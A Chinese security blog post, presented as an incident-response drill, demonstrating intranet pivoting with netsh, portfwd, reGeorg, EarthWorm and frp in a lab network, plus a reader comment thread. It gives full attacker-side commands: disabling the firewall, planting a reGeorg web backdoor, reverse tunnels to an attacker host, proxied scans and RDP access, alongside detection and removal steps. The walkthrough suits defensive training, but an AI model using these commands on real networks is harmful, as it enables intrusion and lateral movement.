1 场景介绍
一个网络请求一般是由客户端发起,服务器响应,而代理服务是这个网络请求的中介,其作用是将客户端的网络请求经由自身代理服务转发至服务端。
某些情况下客户端无法直接访问服务端,但代理服务端可以访问服务端,此时客户端与代理服务端建立协议,客户端的请求都经由代理端转发至服务端这便是正向代理。正向代理主要面向客户端服务,服务端的响应会返回给代理服务端,代理服务端会将其转发至客户端。故而正向代理的过程中,服务端无法确定请求的真实发起者,仅与代理端进行通信。

某些情况下,为保护内网安全以及优化网站负载服务端也会使用代理程序代理大量来自客户端的网络请求,反向代理主要面向服务端服务,客户端的请求会直接发给代理服务器,代理服务器会转发至服务端并将服务端响应返回值客户端。故而反向代理的过程中,客户端无法确定真实服务端地址,仅与代理端进行通信。

攻击者在成功入侵某一台对外服务器后也会利用以上代理原理进行内网横向渗透进一步扩大战果,上传代理工具至对外服务器将其改造为跳板机,建立通往内网的通信隧道。
某些不合规情况下运维人员为方便自身,擅自将内网服务器代理至互联网也会造成安全风险。
通过内网代理环境应急演练熟悉当前常用内网代理工具和方法以及检查和处置方法,提升内部人员安全意识,避免因黑客攻击或运维不合规造成内网服务器暴露在公网的风险。
2 正向代理
2.1 netsh端口转发
netsh是windows系统自带命令行程序,攻击者无需上传第三方工具即可利用netsh程序可进行端口转发操作,可将内网中其他服务器的端口转发至本地访问,如内网某台服务器的ssh端口可转发至本地即可通过暴力破解或弱口令方式尝试登陆目标服务器。
注意点:
- 利用netsh进行端口转发需要具备管理员权限。
- 实际环境下攻击者利用靶机的漏洞上传该工具,本示例目的为演示代理工具的使用和原理,未体现漏洞利用过程。
场景:
靶机A是web服务器,攻击者通过漏洞攻击获得靶机A的服务器权限,靶机B位于内网且未映射至互联网,此时通过利用靶机A自带命令行程序netsh,netsh可将攻击者的流量经由靶机A转发至靶机B,使得攻击者可以访问到位于内网的靶机B。
示例
靶机A 10.211.55.3(windows)
靶机B 10.211.55.7(centos7)
攻击机 10.211.55.4(kali)
在靶机A上运行以下命令开启端口转发策略,提示需管理员权限运行:
netsh interface portproxy add v4tov4 listenaddress=10.211.55.3 listenport=33310 connectport=22 connectaddress=10.211.55.7

使用如下如下命令切换至管理员权限,需输入管理员账号密码。
runas /user:administrator cmd

切换至管理员权限后重复上述命令。
在攻击机上运行如下命令登录靶机B失败。
ssh root@10.211.55.3-p 33310
在靶机A上运行如下命令查看防火墙状态,靶机A防火墙默认开启。

netsh firewall show config

使用netsh关闭靶机A的防火墙
netsh advfirewall set allprofiles state off

在攻击机上运行如下命令利用靶机A的端口转发策略登录至靶机B上。
ssh root@10.211.55.3-p 33310

在靶机B上看到开启了33310监听端口,同时攻击机与该端口建立了tcp连接,也可以看到靶机A主动连接了靶机B的22端口。说明此刻攻击机正在利用靶机A的端口转发隧道入侵靶机B。

netsh端口转发可使用如下命令查看,确认主机是否被恶意植入了端口转发策略。
netsh interface portproxy show v4tov4

使用如下命令即可删除端口转发策略
netsh interface portproxy delete v4tov4 listenaddress=10.211.55.3 listenport=33310

2.2 portfwd端口转发
portfwd是一款强大的端口转发工具,支持TCP,UDP,支持IPV4以及IPV6的端口转发。
攻击者在获取对外服务器权限后为扩大战果,会上传端口转发工具至对外服务器,获得更多的可攻击面。例如将失陷主机的任意可访问端口转发至内网某台服务器的远程桌面端口,即可通过暴力破解和弱口令的方式尝试登陆内网服务器。
注意点:
实际环境下攻击者利用靶机的漏洞上传该工具,本示例目的为演示代理工具的使用和原理,未体现漏洞利用过程。
场景:
靶机A是web服务器,攻击者通过漏洞攻击获得靶机A的服务器权限,靶机B位于内网且未映射至互联网,此时通过上传portfwd至靶机A,portfwd可将攻击者的流量经由靶机A转发至靶机B,使得攻击者可以访问到位于内网的靶机B。
示例
靶机A 10.211.55.7
靶机B 10.211.55.3
攻击机 10.211.55.4
工具下载路径https://github.com/rssnsj/portfwd.git
在靶机A上使用如下命令下载portfwd端口转发工具。
git clone https://github.com/rssnsj/portfwd.git

使用如下命令进入src目录并进行编译,该工具包为源码需自行编译使用。
cd portfwd/src
make

使用如下命令建立软链接,链接路径需为portfwd工具的绝对路径。
ln -s /root/portfwd/src/tcpfwd /usr/bin&&ln -s /root/portfwd/src/udpfwd /usr/bin

使用如下命令进行端口转发,将发给靶机A的33310端口的流量转发至靶机B的3389端口,这样即使攻击机与靶机B的网络不通,仍可通过此端口转发链路访问到靶机B的3389端口。
tcpfwd 0.0.0.0:33310 10.211.55.3:3389

在攻击机上运行如下命令即可通过端口转发访问靶机B的远程桌面。
rdesktop 10.211.55.7:33310


在靶机A上运行如下命令可查看到tcpfwd开启了一个监听端口33310,同时利用该端口转发隧道访问了靶机B的3389端口。
netstat -antlp

通过如下命令可以确定进程的可执行文件所在位置,并进行清除。
ls -al /proc/pid

在靶机B上运行如下命令可以看到靶机A与自身的远程桌面3389端口建立了tcp连接。
netstat -ano

2.3 regeorg正向代理
regeorg工具通过http协议建立通信隧道,攻击者通常在获得内网某台web服务器权限后,上传该工具创建socket监听一个端口用于正向代理,攻击者通过此端口可将攻击流量透传至目标内网其他服务器,从而达到内网横向渗透扩大战果的目的。
注意点:
实际环境下攻击者利用靶机的漏洞上传该工具,本示例目的为演示代理工具的使用和原理,未体现漏洞利用过程。
场景:
在靶机A上上传regeorg后门文件,在攻击机上运行regeorg脚本连接后门,使得本地攻击流量可通过此http隧道转发至内网环境。
示例 利用regeorg工具正向代理进行内网横向渗透
攻击机:10.211.55.5(kali)
靶机A:10.211.55.7(centos7+tomcat)
靶机B:10.211.55.15(windows server2003)
工具下载:
在攻击机上执行如下命令下载regeorg代理工具包
git clone https://github.com/sensepost/reGeorg.git

在靶机A上上传regeorg代理工具包如下:(实际攻击场景下通过利用靶机A的漏洞上传此工具包)

在攻击机上运行代理脚本,由于靶机A使用的是jsp类型网站脚本,命令如下:
python reGeorgSocksProxy.py -u http://10.211.55.7:8080/reGeorg-master/tunnel.jsp -p 1088
提示georg says, ‘all seems fine’说明连接成功,已完成端口复用。

在攻击机上配置本地全局代理proxychains,使得本地攻击流量可通过regeorg创建的http隧道转发至内网其他服务器。
攻击机自带proxychains全局代理工具,默认路径为/etc/proxychains4.conf,编辑配置文件在文件最后增加如下配置:
Socks5 127.0.0.1 1088

以上配置使得攻击机可将支持socks5协议的攻击流量通过本地1088端口转发至靶机A,再通过靶机A转发至内网其他服务器。

查看攻击机上的regeorg的运行日志可以看到,telnet请求的目的地址和端口。

查看靶机A上的网络连接,可以看到攻击机的请求成功实现端口复用,复用了java进程创建的端口连接了靶机B的445端口。

查看靶机B的网络连接无法看到攻击机ip地址,靶机A作为攻击机的正向代理

下面使用端口扫描工具对靶机B进行端口扫描,命令如下:
proxychains4 namp -sT 10.211.55.15 -Pn

成功扫描出靶机B开放的端口。

在靶机B上抓包可以看到所有的端口扫描请求源地址均来自靶机A而不是攻击机。

regeorg代理工具是基于web程序实现的,其可执行文件一般位于网站路径下,可通过上传web后门查杀工具进行本地查杀。
上传web后门查杀工具后执行如下命令指定查杀路径,可以发现网站路径下攻击者不仅上传了regeorg代理工具同时也被植入了web后门文件。根据其扫描结果与网站开发核实后进行清除,同时可检查同路径下有无创建时间相同的脚本文件并与开发核实防止web后门查杀工具存在漏报误报情况。
./hm scan /usr/local/tomcat/tomcat/apache-tomcat-8.5.51/webapps/

3 反向代理
3.1 earthworm反向代理
earthworm是一套便携式网络穿透工具,具有socks和端口转发两大核心功能,支持正向代理、反向代理、多级代理等方式打通网络隧道,可在复杂网络环境下完成网络穿透和内网横向渗透的功能。
注意点:
实际环境下攻击者利用靶机的漏洞上传该工具,本示例目的为演示代理工具的使用和原理,未体现漏洞利用过程。
场景:
分别在靶机A、B以及攻击机上运行earthworm代理工具,使得攻击机将靶机A、B作为其多级代理进行内网横向渗透。

示例1 利用earthworm反向代理进行内网横向渗透
靶机A:10.211.55.7(centos7)
靶机B:10.211.55.15(windows server 2003r2)
攻击机:10.211.55.4(kali)
工具下载路径如下:
git clone https://github.com/idlefire/ew.git
使用上述命令在攻击机上下载该工具如下:

下载成功后运行如下命令,可在攻击机本地开启1080和8888监听端口,并将1080端口收到的流量转发至8888端口。
./ew_for_linux64 -s rcsocks -l 1080 -e 8888

使用命令netstat -antlp 可以看到攻击机本地开启了1080和8888监听端口。

在靶机A上上传earthworm,并运行如下命令连接攻击机的8888端口,建立与攻击机的反向代理。
./ew -s rssocks -d vpsip -e 8888
运行后可以看到程序日志提示已完成代理的连接。

在攻击机上修改全局代理软件proxychains的配置文件,默认路径为/etc/proxychains4.conf,配置socks5代理地址和端口如下:

注意:
由于演练环境为本地搭建,实际环境下攻击机地址一般为公网vps地址,若设置为公网vps地址,此时全局代理配置ip应设置为vps地址。
在攻击机上使用如下命令通过代理隧道探测靶机B的3389端口是否开启,telnet使用的是tcp协议,而socks5协议支持tcp和udp协议数据的传递。
proxychains telnet 10.211.55.15 3389

在靶机A的earthworm日志上可以看到攻击机发起的telnet请求触发的tcp数据包成功转发至靶机B上。

在靶机A上查看网络连接可以看到靶机A与攻击机的8888端口建立了tcp连接,同时也可看到靶机A成功代理了攻击机触发的3389请求。

在靶机B上只能看到靶机A的地址与自身3389端口建立了连接,无法看到攻击机地址。

此时利用全局代理以及靶机A的代理隧道,即使靶机B处于内网无法通过外网访问,也可通过此代理隧道实现远程登录靶机B,实现内网的横向移动。
使用如下命令远程登录靶机B:
proxychains4 resktop 10.211.55.15

攻击机弹出了靶机B的远程桌面端口,此时若靶机B使用了弱密码或被暴力破解成功即可实现远程登录。

示例2 使用earthworm多级代理进行内网横向渗透
靶机A:10.211.55.7(centos7)
靶机B:10.211.55.15(windows server 2003r2)
靶机C:10.211.55.3(windows10)
攻击机:10.211.55.4(kali)
本示例中靶机A可访问攻击机,靶机B和C均与攻击机网络不通,但与靶机A网络互通。
注意:
某些条件下,内网某些服务器无法访问互联网,需通过级联的方式将可访问互联网的主机作为一级代理连接攻击机,二级代理连接一级代理主机即可形成通信隧道,攻击机可通过级联的方式将攻击流量转发至更深入的内网。
在攻击机上运行如下命令,可在攻击机本地开启1080和8888监听端口,并将1080端口收到的流量转发至8888端口。
./ew -s lcx_listen -l 1080 -e 8888

在靶机B上运行如下命令,可开启9999端口的正向代理。
./ew -s ssocksd -l 9999

在靶机A上运行如下命令,同时连接攻击机的反向代理端口和靶机B的正向代理端口。
./ew -s lcx_slave -d 10.211.55.4 -e 8888 -f 10.211.55.15 -g 9999

当靶机A成功连接上攻击机时,攻击机代理日志可以看到连接成功记录。

在攻击机上使用如下命令通过代理隧道探测靶机C的3389端口是否开启,telnet使用的是tcp协议,而socks5协议支持tcp和udp协议数据的传递。
proxychains telnet 10.211.55.3 3389

此时登录靶机C查看网络连接可以看到telnet请求触发的tcp连接发起端为靶机B。说明攻击机发起的请求经由靶机A转发至靶机B,有经由靶机B的正向代理转发至靶机C。
使用如下命令远程登录靶机C:

proxychains4 resktop 10.211.55.3

攻击机弹出了靶机B的远程桌面端口,此时若靶机B使用了弱密码或被暴力破解成功即可实现远程登录。

3.2 frp反向代理
frp 是一个可用于内网穿透的高性能的反向代理应用,支持tcp、udp协议。运维人员使用 frp 进行反向代理,满足通过公网服务器访问处于内网的服务,如访问内网web服务,远程ssh内网服务器,远程控制内网nas等,但此类操作存在较大安全隐患,会将内网服务直接暴露在公网。
对于内网渗透来讲,这种功能恰好能够满足我们进行内网渗透的流量转发。frp最大的一个特点是使用socks代理,而socks是加密通信的,类似于做了一个加密的隧道,可以把外网的流量,通过加密隧道穿透到内网。
注意点:
实际环境下攻击者利用靶机的漏洞上传该工具,本示例目的为演示代理工具的使用和原理,未体现漏洞利用过程。
场景:
分别在靶机A和攻击机上运行frp代理工具,使得攻击机将靶机A作为其代理进行内网横向渗透。
示例 利用frp反向代理进行内网横向渗透
靶机A:10.211.55.7(centos7)
靶机B:10.211.55.3(windows)
攻击机:10.211.55.4(kali)
工具下载路径如下:
https://github.com/fatedier/frp/releases
根据运行系统选择合适版本下载,本示例运行平台均为linux,选择frp_0.35.1_linux_amd64.tar.gz进行下载。
在攻击机上编辑frp服务端配置文件frps.ini,配置内容如下:
[common]
bind_port = 33310
allow_ports=33310-33410
token = ZUcviGVBciVNip4YoeE0
在攻击机上进入到frp目录,运行如下命令启动代理程序服务端。
./frps -c frps.ini #nohup ./frps -c frps.ini&后台运行

在靶机A上上传frp工具包后,编辑frp客户端配置文件frpc.ini,配置内容如下:
[common]
server_addr = 10.211.55.4
server_port = 33310
token = ZUcviGVBciVNip4YoeE0
[socks_proxy]
type= tcp
plugin= socks5
remote_port = 33311
local_port = 33311

进入靶机A的frp目录下,运行如下命令即可启动反向代理客户端。

在攻击机上修改全局代理软件proxychains的配置文件,默认路径为/etc/proxychains4.conf,配置socks5代理地址和端口如下:
socks5 127.0.0.1 33311

注意:
由于演练环境为本地搭建,实际环境下攻击机地址一般为公网vps地址,若设置为公网vps地址,此时全局代理配置ip应设置为vps地址。
在攻击机上使用如下命令通过代理隧道探测靶机B的3389端口是否开启,telnet使用的是tcp协议,而socks5协议支持tcp和udp协议数据的传递。

登录靶机B可以看到攻击机telnet触发的请求经由靶机A的代理隧道转发至靶机B。
使用如下命令远程登录靶机B:

proxychains4 resktop 10.211.55.3
攻击机弹出了靶机B的远程桌面端口,此时若靶机B使用了弱密码或被暴力破解成功即可实现远程登录。


浙江省绍兴市诸暨市 1F
netsh这招太常见了,我们上次应急就清了好几个这种转发规则。
浙江省金华市 B1
@ 月亮 确实,好多都是历史遗留的坑。
陕西省西安市 B1
@ 月亮 netsh清理起来真麻烦,得一个个手动删规则。
广东省 2F
运维为了方便乱开代理,真是防不胜防的内部风险。
菲律宾 3F
portfwd编译有点坑,依赖没装全直接报错,试了两次才跑起来。
贵州省 4F
regeorg走http隧道确实隐蔽,但tomcat日志里一查访问记录基本就露馅了吧?
浙江省温州市 B1
@ 哒哒打字 确实,访问日志会留下明显痕迹,隐蔽性其实有限。
中国 5F
frp那个token要是弱一点不就白设了?感觉还不如加个tls🤔
湖北省武汉市 6F
前几天刚处理过一起用ew打多级代理的事件,最后溯源发现是运维自己开的后门…
美国 7F
求问下,earthworm在Windows Server 2016上兼容性咋样?试了老崩。
越南 8F
这文章把正反向代理讲混了吧?netsh明明是端口映射不算严格代理吧。
北京市 9F
随手试了下reGeorgSocksProxy.py,连不上提示404,是不是路径写错了?
内蒙古呼伦贝尔市 10F
内网暴露3389还用弱密码,真就送人头呗…
韩国 B1
@ 春节对联 弱密码加暴露端口,基本等于开门迎客了。
印度 11F
proxychains配完老连超时,有人遇到过吗?是不是得关ipv6?
越南 B1
@ 星际信标 可能是socks5代理没生效,检查下proxychains配置顺序。
浙江省杭州市 12F
netsh那个命令记不住老要查文档,有没有更简便的用法?
福建省南平市 13F
转发工具一箩筐,真正好用的也就一两个吧。
山东省 14F
上次用frp被防火墙拦了,得注意端口策略。
海南省海口市 15F
ew的多级代理看着就绕,实际用起来延迟能接受吗?
广东省江门市新会区 16F
查日志看异常连接确实是个思路,但量大了也不好搞。
澳大利亚 B1
@ 王者归来 netsh端口转发确实方便,但容易被日志记录
上海市浦东新区 17F
这些工具原理都懂,关键还是怎么快速发现和清理。
新西兰 B1
@ 藕香榭客 查异常连接光看netstat不够,得结合进程和文件时间戳一起看
贵州省贵阳市 18F
portfwd编译环境要求高,不如直接找编译好的省事。
上海市金山区 19F
正向反向讲得还行,就是例子太理想化了。
美国 20F
运维乱开代理真的是老大难问题,说了也不听。
湖南省株洲市 B1
@ 宇宙之心 运维要是能听劝也不至于天天救火了。
印度 21F
regeorg上传路径得跟web目录匹配,不然肯定404。
黑龙江省哈尔滨市 B1
@ 社牛小雷 路径不对确实404,我上次传错目录折腾半小时。
陕西省安康市 22F
portfwd在低版本gcc下编译直接报错,坑死了。
山东省滨州市 23F
frp的token强度够吗?感觉随便爆破就穿了🤔
阿富汗 24F
regeorg走http看着隐蔽,但WAF一开基本秒拦吧。
韩国 25F
earthworm多级代理延迟高得离谱,实战体验很差。
日本 26F
内网3389开着还用admin/123456,纯纯送温暖。
韩国 27F
proxychains连socks5老超时,关了ipv6才稳。
上海市长宁区 28F
正向代理和端口转发别混着说,概念差挺远的。
日本 29F
portfwd编译环境要求太高了,装依赖就折腾半天
北京市 30F
regeorg在tomcat下路径不对就会404,这个坑踩过
上海市 31F
反向代理那块讲得有点绕,多读了两遍才明白
浙江省杭州市 32F
我们公司上次应急就发现有人用frp开隧道,token设得跟没设一样
福建省厦门市 33F
内网安全真的不能大意,上次被挖矿就是代理没管好
浙江省台州市 B1
@ 幽谷听泉 上次应急碰到过,就是netsh开的转发,清起来倒是不难。
韩国 34F
earthworm多级代理延迟高得离谱,实战用着难受
日本 35F
这些工具原理都懂,关键是怎么快速发现和清理
北京市 36F
proxychains配socks5老超时,关了ipv6才正常
河南省漯河市 37F
netsh转发确实好用,但得管理员权限这点卡死很多人吧
上海市 38F
frp那个token要是设成123456不就等于没设?真有人这么干
日本 39F
前几天刚清过一台被挂regeorg的tomcat,日志里全是/tunnel.jsp访问记录
重庆市 40F
portfwd编译太折磨了,有没有现成的二进制包推荐?
日本 41F
ew在WinServer2016上跑不动,试了三次都崩,换frp反而稳了
辽宁省营口市 B1
@ Golden Lotus ew新版对win server 2016支持好像是有问题,可以试试老版本。
上海市 42F
内网3389开着还用弱口令,这不是请黑客进来喝茶嘛…
日本 43F
proxychains连socks5老超时,关了ipv6立马正常,玄学
陕西省渭南市 44F
正向代理和端口转发别混着说,netsh那叫映射不算代理啊
北京市 45F
regeorg路径不对直接404,上传前得先摸清web目录结构
马来西亚 46F
netsh那命令每次用都要查,有没更简便的方法?
湖北省恩施州 47F
正向代理和端口转发还是有区别的,不能完全混为一谈。
浙江省杭州市 48F
frp反向代理那个token设置,如果强度不够确实形同虚设,不如加层加密。
四川省绵阳市 49F
端口转发工具确实多,但实际渗透时经常是哪个能用用哪个。
贵州省铜仁市 50F
这种文章对安全人员挺有用的,整理得挺全。
湖南省湘西州吉首市 51F
内网横向移动,代理工具只是手段,关键还是权限维持和痕迹清理吧。
黑龙江省绥化市 52F
netsh需要管理员权限这点,在提权后使用就很常见了。
巴基斯坦 53F
portfwd编译是麻烦,不如直接找现成的二进制文件省事。
上海市 54F
感觉文章例子里的IP都是内网段,和真实公网攻击场景有点脱节。
广东省汕头市 55F
regeorg这类工具,在实战中对抗WAF和IDS的效果到底怎么样?
韩国 56F
多级代理延迟肯定高,但有时候能打通就不错了,顾不上延迟。
斯里兰卡 57F
这些工具实战中哪个隐蔽性最好?
山西省大同市 B1
@ 时隙之眼 netsh用系统自带的最隐蔽
江苏省无锡市 58F
防火墙状态那块没细讲,实战关不掉咋办?
陕西省铜川市 59F
netsh关防火墙那块,得先提权吧?
浙江省衢州市 B1
@ 风筝线控制者 对,提权是必须的
日本 60F
portfwd编译那步新手容易卡住
台湾省 B1
@ 异界游 我第一次编译也卡了半天。